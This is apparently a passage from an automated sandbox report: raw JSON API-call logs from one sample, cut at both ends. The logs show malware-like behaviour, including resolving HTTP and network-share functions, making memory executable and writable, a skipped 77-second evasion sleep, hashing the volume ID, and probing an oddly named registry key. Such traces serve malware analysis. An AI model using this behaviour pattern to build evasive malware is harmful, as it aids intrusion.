"return_value":0,"arguments":{"ordinal":0,"module":"WININET","module_address":"0x75400000"
,"function_address":"0x754546d9","function_name":"InternetWriteFile"},"time":1700322041.172,
"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddre
ss","return_value":0,"arguments":{"ordinal":0,"module":"WININET","module_address":"0x754000
00","function_address":"0x75454b75","function_name":"HttpEndRequestA"},"time":1700322041.
172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureA
ddress","return_value":0,"arguments":{"ordinal":0,"module":"WININET","module_address":"0x75
400000","function_address":"0x7549f6fa","function_name":"HttpSendRequestA"},"time":170032
2041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProced
ureAddress","return_value":0,"arguments":{"ordinal":0,"module":"WININET","module_address":"
0x75400000","function_address":"0x754772a0","function_name":"HttpQueryInfoA"},"time":1700
322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProc
edureAddress","return_value":0,"arguments":{"ordinal":0,"module":"WININET","module_address
":"0x75400000","function_address":"0x75484390","function_name":"InternetReadFile"},"time":17
00322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPr
ocedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"WININET","module_addre
ss":"0x75400000","function_address":"0x7547505e","function_name":"HttpAddRequestHeaders
A"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"registry","status":1,"stacktrace":[],"a
pi":"RegOpenKeyExW","return_value":0,"arguments":{"access":"0x00020019","base_handle":"0
x80000002","key_handle":"0x000000d0","regkey":"HKEY_LOCAL_MACHINE\\system\\Current
ControlSet\\control\\NetworkProvider\\HwOrder","regkey_r":"system\\CurrentControlSet\\control\
\NetworkProvider\\HwOrder","options":0},"time":1700322041.172,"tid":2280,"flags":{}},{"category

":"system","status":1,"stacktrace":[],"api":"LdrLoadDll","return_value":0,"arguments":{"basename
":"MPR","module_address":"0x74680000","flags":0,"module_name":"MPR.dll","stack_pivoted":0}
,"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":
"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"MPR","module_
address":"0x74680000","function_address":"0x74683058","function_name":"WNetEnumResourc
eW"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],
"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"MPR","mo
dule_address":"0x74680000","function_address":"0x74684744","function_name":"WNetAddCon
nection2W"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktr
ace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"MP
R","module_address":"0x74680000","function_address":"0x74682dd6","function_name":"WNetC
loseEnum"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktr
ace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"MP
R","module_address":"0x74680000","function_address":"0x74682f06","function_name":"WNetO
penEnumW"},"time":1700322041.172,"tid":2280,"flags":{}},{"category":"system","status":1,"stack
trace":[],"api":"LdrLoadDll","return_value":0,"arguments":{"basename":"NETAPI32","module_add
ress":"0x74660000","flags":0,"module_name":"NETAPI32.dll","stack_pivoted":0},"time":1700322
041.187,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedu
reAddress","return_value":0,"arguments":{"ordinal":0,"module":"NETAPI32","module_address":"
0x74660000","function_address":"0x746019a9","function_name":"DsRoleFreeMemory"},"time":1
700322041.203,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGet
ProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"NETAPI32","module_ad
dress":"0x74660000","function_address":"0x74601f3d","function_name":"DsRoleGetPrimaryDo
mainInformation"},"time":1700322041.203,"tid":2280,"flags":{}},{"category":"system","status":1,"s
tacktrace":[],"api":"LdrLoadDll","return_value":0,"arguments":{"basename":"ADVAPI32","module
_address":"0x76e10000","flags":0,"module_name":"ADVAPI32.dll","stack_pivoted":0},"time":170
0322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPro
cedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ADVAPI32","module_addre
ss":"0x76e10000","function_address":"0x77499b0b","function_name":"RegisterTraceGuidsA"},"ti
me":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"L
drLoadDll","return_value":0,"arguments":{"basename":"urlmon","module_address":"0x76b40000
","flags":0,"module_name":"urlmon.dll","stack_pivoted":0},"time":1700322041.219,"tid":2280,"fla
gs":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_va
lue":0,"arguments":{"ordinal":0,"module":"urlmon","module_address":"0x76b40000","function_ad
dress":"0x76b8f04c","function_name":"ObtainUserAgentString"},"time":1700322041.219,"tid":22
80,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtProtectVirtualMemory","retu
rn_value":0,"arguments":{"process_identifier":2276,"stack_dep_bypass":0,"stack_pivoted":0,"he
ap_dep_bypass":0,"length":4096,"protection":2,"process_handle":"0xffffffff","base_address":"0x0
08f0000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAGE_READONLY"}},{"categ
ory":"process","status":1,"stacktrace":[],"api":"NtProtectVirtualMemory","return_value":0,"argume
nts":{"process_identifier":2276,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"l
ength":73728,"protection":32,"process_handle":"0xffffffff","base_address":"0x008f1000"},"time":
1700322041.219,"tid":2280,"flags":{"protection":"PAGE_EXECUTE_READ"}},{"category":"proce
ss","status":1,"stacktrace":[],"api":"NtProtectVirtualMemory","return_value":0,"arguments":{"proc
ess_identifier":2276,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"length":286
72,"protection":2,"process_handle":"0xffffffff","base_address":"0x00903000"},"time":1700322041
.219,"tid":2280,"flags":{"protection":"PAGE_READONLY"}},{"category":"process","status":1,"stac
ktrace":[],"api":"NtProtectVirtualMemory","return_value":0,"arguments":{"process_identifier":227
6,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"length":12288,"protection":4,"
process_handle":"0xffffffff","base_address":"0x0090a000"},"time":1700322041.219,"tid":2280,"fl

```
ags":{"protection":"PAGE_READWRITE"}},{"category":"process","status":1,"stacktrace":[],"api":"
NtProtectVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"stack_dep_b
ypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"length":12288,"protection":2,"process_handle
":"0xffffffff","base_address":"0x0090d000"},"time":1700322041.219,"tid":2280,"flags":{"protection
":"PAGE_READONLY"}},{"category":"process","status":1,"stacktrace":[],"api":"NtProtectVirtualM
emory","return_value":0,"arguments":{"process_identifier":2276,"stack_dep_bypass":0,"stack_pi
voted":0,"heap_dep_bypass":0,"length":4096,"protection":2,"process_handle":"0xffffffff","base_a
ddress":"0x00910000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAGE_READON
LY"}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_val
ue":0,"arguments":{"process_identifier":2276,"region_size":4096,"stack_dep_bypass":0,"stack_p
ivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":122
88,"base_address":"0x00360000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAG
E_READWRITE","allocation_type":"MEM_COMMIT|MEM_RESERVE"}},{"category":"process","
status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process
_identifier":2276,"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypas
s":0,"protection":4,"process_handle":"0xffffffff","allocation_type":12288,"base_address":"0x0037
0000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAGE_READWRITE","allocation
_type":"MEM_COMMIT|MEM_RESERVE"}},{"category":"process","status":1,"stacktrace":[],"api":
"NtFreeVirtualMemory","return_value":0,"arguments":{"free_type":32768,"process_identifier":22
76,"process_handle":"0xffffffff","base_address":"0x00360000","size":4096},"time":1700322041.2
19,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetDllHandle","re
turn_value":0,"arguments":{"module_name":"ntdll.dll","stack_pivoted":0,"module_address":"0x77
430000"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrac
e":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"ntdll","
module_address":"0x77430000","function_address":"0x7744fbd8","function_name":"NtQueryVirt
ualMemory"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"process","status":1,"stack
trace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process_identifier":2276
,"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":
64,"process_handle":"0xffffffff","allocation_type":12288,"base_address":"0x00360000"},"time":17
00322041.219,"tid":2280,"flags":{"protection":"PAGE_EXECUTE_READWRITE","allocation_typ
e":"MEM_COMMIT|MEM_RESERVE"}},{"category":"process","status":1,"stacktrace":[],"api":"Nt
ProtectVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"stack_dep_byp
ass":0,"stack_pivoted":0,"heap_dep_bypass":0,"length":4096,"protection":64,"process_handle":"
0xffffffff","base_address":"0x7744f000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"
PAGE_EXECUTE_READWRITE"}},{"category":"process","status":1,"stacktrace":[],"api":"NtProte
ctVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"stack_dep_bypass":0
,"stack_pivoted":0,"heap_dep_bypass":0,"length":4096,"protection":32,"process_handle":"0xffffff
ff","base_address":"0x7744f000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAGE
_EXECUTE_READ"}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMe
mory","return_value":0,"arguments":{"process_identifier":2276,"region_size":135168,"stack_dep
_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":64,"process_handle":"0xffffffff",
"allocation_type":12288,"base_address":"0x00380000"},"time":1700322041.219,"tid":2280,"flags
":{"protection":"PAGE_EXECUTE_READWRITE","allocation_type":"MEM_COMMIT|MEM_RES
ERVE"}},{"category":"process","status":1,"stacktrace":[],"api":"NtProtectVirtualMemory","return_v
alue":0,"arguments":{"process_identifier":2276,"stack_dep_bypass":0,"stack_pivoted":0,"heap_d
ep_bypass":0,"length":135168,"protection":64,"process_handle":"0xffffffff","base_address":"0x00
8f0000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAGE_EXECUTE_READWRIT
E"}},{"category":"synchronisation","status":1,"stacktrace":[],"api":"GetSystemTimeAsFileTime","r
eturn_value":0,"arguments":{},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"process"
,"status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"proces
```

s_identifier":2276,"region_size":1769472,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":8192,"base_address":"0x02170000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_RESERVE"}},{"category":"process","status":1,"stacktrace":[],"api":"NtFreeVirtualMemory","return_value":0,"arguments":{"free_type":32768,"process_identifier":2276,"process_handle":"0xffffffff","base_address":"0x02170000","size":1703936},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":4096,"base_address":"0x02310000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_COMMIT"}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetDllHandle","return_value":0,"arguments":{"module_name":"KERNEL32.DLL","stack_pivoted":0,"module_address":"0x75ab0000"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac4f13","function_name":"FlsAlloc"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac1252","function_name":"FlsGetValue"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac41f0","function_name":"FlsSetValue"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"0x75ac357f","function_name":"FlsFree"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetDllHandle","return_value":0,"arguments":{"module_name":"KERNEL32.DLL","stack_pivoted":0,"module_address":"0x75ab0000"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":4096,"base_address":"0x02311000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_COMMIT"}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":4096,"base_address":"0x02312000"},"time":1700322041.219,"tid":2280,"flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_COMMIT"}},{"category":"exception","status":0,"stacktrace":[],"last_error":0,"nt_status":-1073741568,"api":"SetUnhandledExceptionFilter","return_value":0,"arguments":{},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"SetErrorMode","return_value":32775,"arguments":{"mode":32771},"time":1700322041.219,"tid":2280,"flags":{"mode":"SEM_FAILCRITICALERRORS|SEM_NOGPFAULTERRORBOX|SEM_NOOPENFILEERRORBOX"}},{"category":"exception","status":1,"stacktrace":[],"api":"SetUnhandledExceptionFilter","return_value":3727429,"arguments":{},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x000000e4"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetDllHandle","return_value":0,"arguments":{"module_name":"kernel32.dll","stack_pivoted":0,"module_address":"0x75ab0000"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","function_address":"

```
0x75add638","function_name":"Wow64DisableWow64FsRedirection"},"time":1700322041.219,"t
id":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrLoadDll","return_valu
e":0,"arguments":{"basename":"CRYPTSP","module_address":"0x73930000","flags":0,"module_
name":"CRYPTSP.dll","stack_pivoted":0},"time":1700322041.219,"tid":2280,"flags":{}},{"category
":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"argument
s":{"ordinal":0,"module":"CRYPTSP","module_address":"0x73930000","function_address":"0x73
9342a3","function_name":"CryptAcquireContextA"},"time":1700322041.219,"tid":2280,"flags":{}},
{"category":"crypto","status":1,"stacktrace":[],"api":"CryptAcquireContextA","return_value":1,"arg
uments":{"crypto_handle":"0x00658258","container":"","flags":4026531840,"provider":"","provide
r_type":24},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktra
ce":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"CRY
PTSP","module_address":"0x73930000","function_address":"0x739351dd","function_name":"Cr
yptImportKey"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":1,"stac
ktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"C
RYPTSP","module_address":"0x73930000","function_address":"0x73934ebe","function_name":"
CryptGetKeyParam"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"system","status":
1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"mod
ule":"CRYPTSP","module_address":"0x73930000","function_address":"0x73934f73","function_n
ame":"CryptGenRandom"},"time":1700322041.219,"tid":2280,"flags":{}},{"category":"registry","st
atus":1,"stacktrace":[],"api":"NtOpenKey","return_value":0,"arguments":{"key_handle":"0x000000
e4","desired_access":"0x00020019","regkey":"HKEY_LOCAL_MACHINE\\System\\CurrentContr
olSet\\Control\\Nls\\CustomLocale"},"time":1700322041.234,"tid":2280,"flags":{"desired_access"
:"READ_CONTROL"}},{"category":"registry","status":0,"stacktrace":[],"last_error":0,"nt_status":-
1073741772,"api":"NtQueryValueKey","return_value":3221225524,"arguments":{"key_handle":"
0x000000e4","key_name":"","value":"","reg_type":0,"information_class":1,"regkey":"HKEY_LOC
AL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Nls\\CustomLocale\\en-
US"},"time":1700322041.234,"tid":2280,"flags":{"reg_type":"REG_NONE","information_class":"K
eyValueFullInformation"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_
value":0,"arguments":{"handle":"0x000000e4"},"time":1700322041.234,"tid":2280,"flags":{}},{"cat
egory":"registry","status":1,"stacktrace":[],"api":"NtOpenKey","return_value":0,"arguments":{"key
_handle":"0x000000e4","desired_access":"0x00020019","regkey":"HKEY_LOCAL_MACHINE\\S
ystem\\CurrentControlSet\\Control\\Nls\\ExtendedLocale"},"time":1700322041.234,"tid":2280,"fla
gs":{"desired_access":"READ_CONTROL"}},{"category":"registry","status":0,"stacktrace":[],"last
_error":0,"nt_status":-
1073741772,"api":"NtQueryValueKey","return_value":3221225524,"arguments":{"key_handle":"
0x000000e4","key_name":"","value":"","reg_type":0,"information_class":1,"regkey":"HKEY_LOC
AL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Nls\\ExtendedLocale\\en-
US"},"time":1700322041.234,"tid":2280,"flags":{"reg_type":"REG_NONE","information_class":"K
eyValueFullInformation"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_
value":0,"arguments":{"handle":"0x000000e4"},"time":1700322041.234,"tid":2280,"flags":{}},{"cat
egory":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":
"0x000000e4"},"time":1700322041.234,"tid":2280,"flags":{}},{"category":"synchronisation","statu
s":1,"stacktrace":[],"api":"NtDelayExecution","return_value":0,"arguments":{"skipped":1,"milliseco
nds":77000},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"file","status":0,"stacktrace":[
],"last_error":4390,"nt_status":-
1073741195,"api":"GetVolumeNameForVolumeMountPointW","return_value":0,"arguments":{"v
olume_mount_point":"C:\\Windows\\","volume_name":""},"time":1700322041.25,"tid":2280,"flags
":{}},{"category":"file","status":1,"stacktrace":[],"api":"GetVolumeNameForVolumeMountPointW","
return_value":1,"arguments":{"volume_mount_point":"C:\\","volume_name":"\\\\?\\Volume{4e150
c04-3016-11ee-8ab1-
806e6f6e6963}\\"},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"crypto","status":1,"sta
cktrace":[],"api":"CryptAcquireContextA","return_value":1,"arguments":{"crypto_handle":"0x0065
88c8","container":"","flags":4026531840,"provider":"","provider_type":24},"time":1700322041.25,
"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddre
ss","return_value":0,"arguments":{"ordinal":0,"module":"CRYPTSP","module_address":"0x73930
000","function_address":"0x7393556b","function_name":"CryptCreateHash"},"time":1700322041
.25,"tid":2280,"flags":{}},{"category":"crypto","status":1,"stacktrace":[],"api":"CryptCreateHash","r
eturn_value":1,"arguments":{"crypto_handle":"0x00000000","hash_handle":"0x00658850","algori
thm_identifier":"0x00008003","provider_handle":"0x006588c8","flags":0},"time":1700322041.25,"
tid":2280,"flags":{"algorithm_identifier":"CALG_MD5"}},{"category":"system","status":1,"stacktrac
e":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"CRYP
TSP","module_address":"0x73930000","function_address":"0x739357b2","function_name":"Cry
ptHashData"},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"crypto","status":1,"stacktra
ce":[],"api":"CryptHashData","return_value":1,"arguments":{"buffer":"{4e150c04-3016-11ee-
8ab1-
806e6f6e6963}","flags":0,"hash_handle":"0x00658850"},"time":1700322041.25,"tid":2280,"flags"
:{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value
":0,"arguments":{"ordinal":0,"module":"CRYPTSP","module_address":"0x73930000","function_a
ddress":"0x73935ecc","function_name":"CryptGetHashParam"},"time":1700322041.25,"tid":228
0,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","retur
n_value":0,"arguments":{"ordinal":0,"module":"CRYPTSP","module_address":"0x73930000","fun
ction_address":"0x73935985","function_name":"CryptDestroyHash"},"time":1700322041.25,"tid"
:2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","
return_value":0,"arguments":{"ordinal":0,"module":"CRYPTSP","module_address":"0x73930000"
,"function_address":"0x73932ef0","function_name":"CryptReleaseContext"},"time":1700322041.
25,"tid":2280,"flags":{}},{"category":"registry","status":1,"stacktrace":[],"api":"RegCreateKeyExA",
"return_value":0,"arguments":{"access":"0x0002001f","base_handle":"0x80000001","regkey":"H
KEY_CURRENT_USER\\Software\\RQ0U6dD388ZSj2","key_handle":"0x00000104","options":0,
"regkey_r":"Software\\RQ0U6dD388ZSj2","disposition":0,"class":""},"time":1700322041.25,"tid":
2280,"flags":{}},{"category":"registry","status":0,"stacktrace":[],"last_error":0,"nt_status":-
1073741772,"api":"RegQueryValueExA","return_value":2,"arguments":{"key_handle":"0x000001
04","value":"","regkey_r":"8f4jbO1e","reg_type":0,"regkey":"HKEY_CURRENT_USER\\Software\
\RQ0U6dD388ZSj2\\8f4jbO1e"},"time":1700322041.25,"tid":2280,"flags":{"reg_type":"REG_NON
E"}},{"category":"registry","status":0,"stacktrace":[],"last_error":0,"nt_status":-
1073741772,"api":"RegQueryValueExA","return_value":2,"arguments":{"key_handle":"0x000001
04","value":"","regkey_r":"AbPWHH2fXcD","reg_type":0,"regkey":"HKEY_CURRENT_USER\\So
ftware\\RQ0U6dD388ZSj2\\AbPWHH2fXcD"},"time":1700322041.25,"tid":2280,"flags":{"reg_type
":"REG_NONE"}},{"category":"registry","status":0,"stacktrace":[],"last_error":0,"nt_status":-
1073741772,"api":"RegQueryValueExA","return_value":2,"arguments":{"key_handle":"0x000001
04","value":"","regkey_r":"834kf98ja1","reg_type":0,"regkey":"HKEY_CURRENT_USER\\Softwar
e\\RQ0U6dD388ZSj2\\834kf98ja1"},"time":1700322041.25,"tid":2280,"flags":{"reg_type":"REG_
NONE"}},{"category":"registry","status":0,"stacktrace":[],"last_error":0,"nt_status":-
1073741772,"api":"RegQueryValueExA","return_value":2,"arguments":{"key_handle":"0x000001
04","value":"","regkey_r":"kO3235uf","reg_type":0,"regkey":"HKEY_CURRENT_USER\\Software
\\RQ0U6dD388ZSj2\\kO3235uf"},"time":1700322041.25,"tid":2280,"flags":{"reg_type":"REG_NO
NE"}},{"category":"file","status":1,"stacktrace":[],"api":"GetTempPathW","return_value":37,"argu
ments":{"dirpath":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\"},"time":1700322041.25,"tid":2
280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrLoadDll","return_value":0,"
arguments":{"basename":"rpcrt4","module_address":"0x755d0000","flags":0,"module_name":"rp
crt4.dll","stack_pivoted":0},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"system","stat
```

us":1,"stacktrace":[],"api":"NtQuerySystemInformation","return_value":0,"arguments":{"information_class":0},"time":1700322041.25,"tid":2280,"flags":{"information_class":"SystemBasicInformation"}},{"category":"registry","status":1,"stacktrace":[],"api":"RegOpenKeyExA","return_value":0,"arguments":{"access":"0x00020019","base_handle":"0x80000002","key_handle":"0x00000100","regkey":"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Rpc","regkey_r":"Software\\Microsoft\\Rpc","options":0},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"registry","status":0,"stacktrace":[],"last_error":0,"nt_status":-
1073741772,"api":"RegQueryValueExA","return_value":2,"arguments":{"key_handle":"0x00000100","value":"","regkey_r":"MaxRpcSize","reg_type":0,"regkey":"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Rpc\\MaxRpcSize"},"time":1700322041.25,"tid":2280,"flags":{"reg_type":"REG_NONE"}},{"category":"registry","status":1,"stacktrace":[],"api":"RegCloseKey","return_value":0,"arguments":{"key_handle":"0x00000100"},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"registry","status":1,"stacktrace":[],"api":"NtOpenKey","return_value":0,"arguments":{"key_handle":"0x00000110","desired_access":"0x00020019","regkey":"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\ComputerName\\ActiveComputerName"},"time":1700322041.25,"tid":2280,"flags":{"desired_access":"READ_CONTROL"}},{"category":"registry","status":1,"stacktrace":[],"api":"NtQueryValueKey","return_value":0,"arguments":{"key_handle":"0x00000110","key_name":"ComputerName","value":"NONE","reg_type":1,"information_class":1,"regkey":"HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\ComputerName\\ActiveComputerName\\ComputerName"},"time":1700322041.25,"tid":2280,"flags":{"reg_type":"REG_SZ","information_class":"KeyValueFullInformation"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x00000110"},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"registry","status":1,"stacktrace":[],"api":"NtOpenKey","return_value":0,"arguments":{"key_handle":"0x00000110","desired_access":"0x00020019","regkey":"HKEY_LOCAL_MACHINE\\System\\Setup"},"time":1700322041.25,"tid":2280,"flags":{"desired_access":"READ_CONTROL"}},{"category":"registry","status":1,"stacktrace":[],"api":"NtQueryValueKey","return_value":0,"arguments":{"key_handle":"0x00000110","key_name":"OOBEInProgress","value":0,"reg_type":4,"information_class":1,"regkey":"HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\OOBEInProgress"},"time":1700322041.25,"tid":2280,"flags":{"reg_type":"REG_DWORD","information_class":"KeyValueFullInformation"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x00000110"},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"registry","status":1,"stacktrace":[],"api":"NtOpenKey","return_value":0,"arguments":{"key_handle":"0x00000110","desired_access":"0x00020019","regkey":"HKEY_LOCAL_MACHINE\\System\\Setup"},"time":1700322041.25,"tid":2280,"flags":{"desired_access":"READ_CONTROL"}},{"category":"registry","status":1,"stacktrace":[],"api":"NtQueryValueKey","return_value":0,"arguments":{"key_handle":"0x00000110","key_name":"SystemSetupInProgress","value":0,"reg_type":4,"information_class":1,"regkey":"HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\SystemSetupInProgress"},"time":1700322041.25,"tid":2280,"flags":{"reg_type":"REG_DWORD","information_class":"KeyValueFullInformation"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x00000110"},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"registry","status":0,"stacktrace":[],"last_error":203,"nt_status":-
1073741772,"api":"RegOpenKeyExW","return_value":2,"arguments":{"access":"0x00020019","base_handle":"0x80000002","key_handle":"0x00000000","regkey":"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows
NT\\Rpc","regkey_r":"Software\\Policies\\Microsoft\\Windows
NT\\Rpc","options":0},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"GlobalMemoryStatusEx","return_value":1,"arguments":{},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"registry","status":0,"stacktrace":[],"last_error":203,"nt_status":-
1073741772,"api":"NtOpenKey","return_value":3221225524,"arguments":{"key_handle":"0x0000

```
0000","desired_access":"0x00020119","regkey":"HKEY_LOCAL_MACHINE\\Software\\Policies\\
Microsoft\\SQMClient\\Windows"},"time":1700322041.25,"tid":2280,"flags":{"desired_access":"R
EAD_CONTROL"}},{"category":"registry","status":1,"stacktrace":[],"api":"NtOpenKey","return_val
ue":0,"arguments":{"key_handle":"0x00000110","desired_access":"0x00020119","regkey":"HKE
Y_LOCAL_MACHINE\\Software\\Microsoft\\SQMClient\\Windows"},"time":1700322041.25,"tid":2
280,"flags":{"desired_access":"READ_CONTROL"}},{"category":"registry","status":0,"stacktrace"
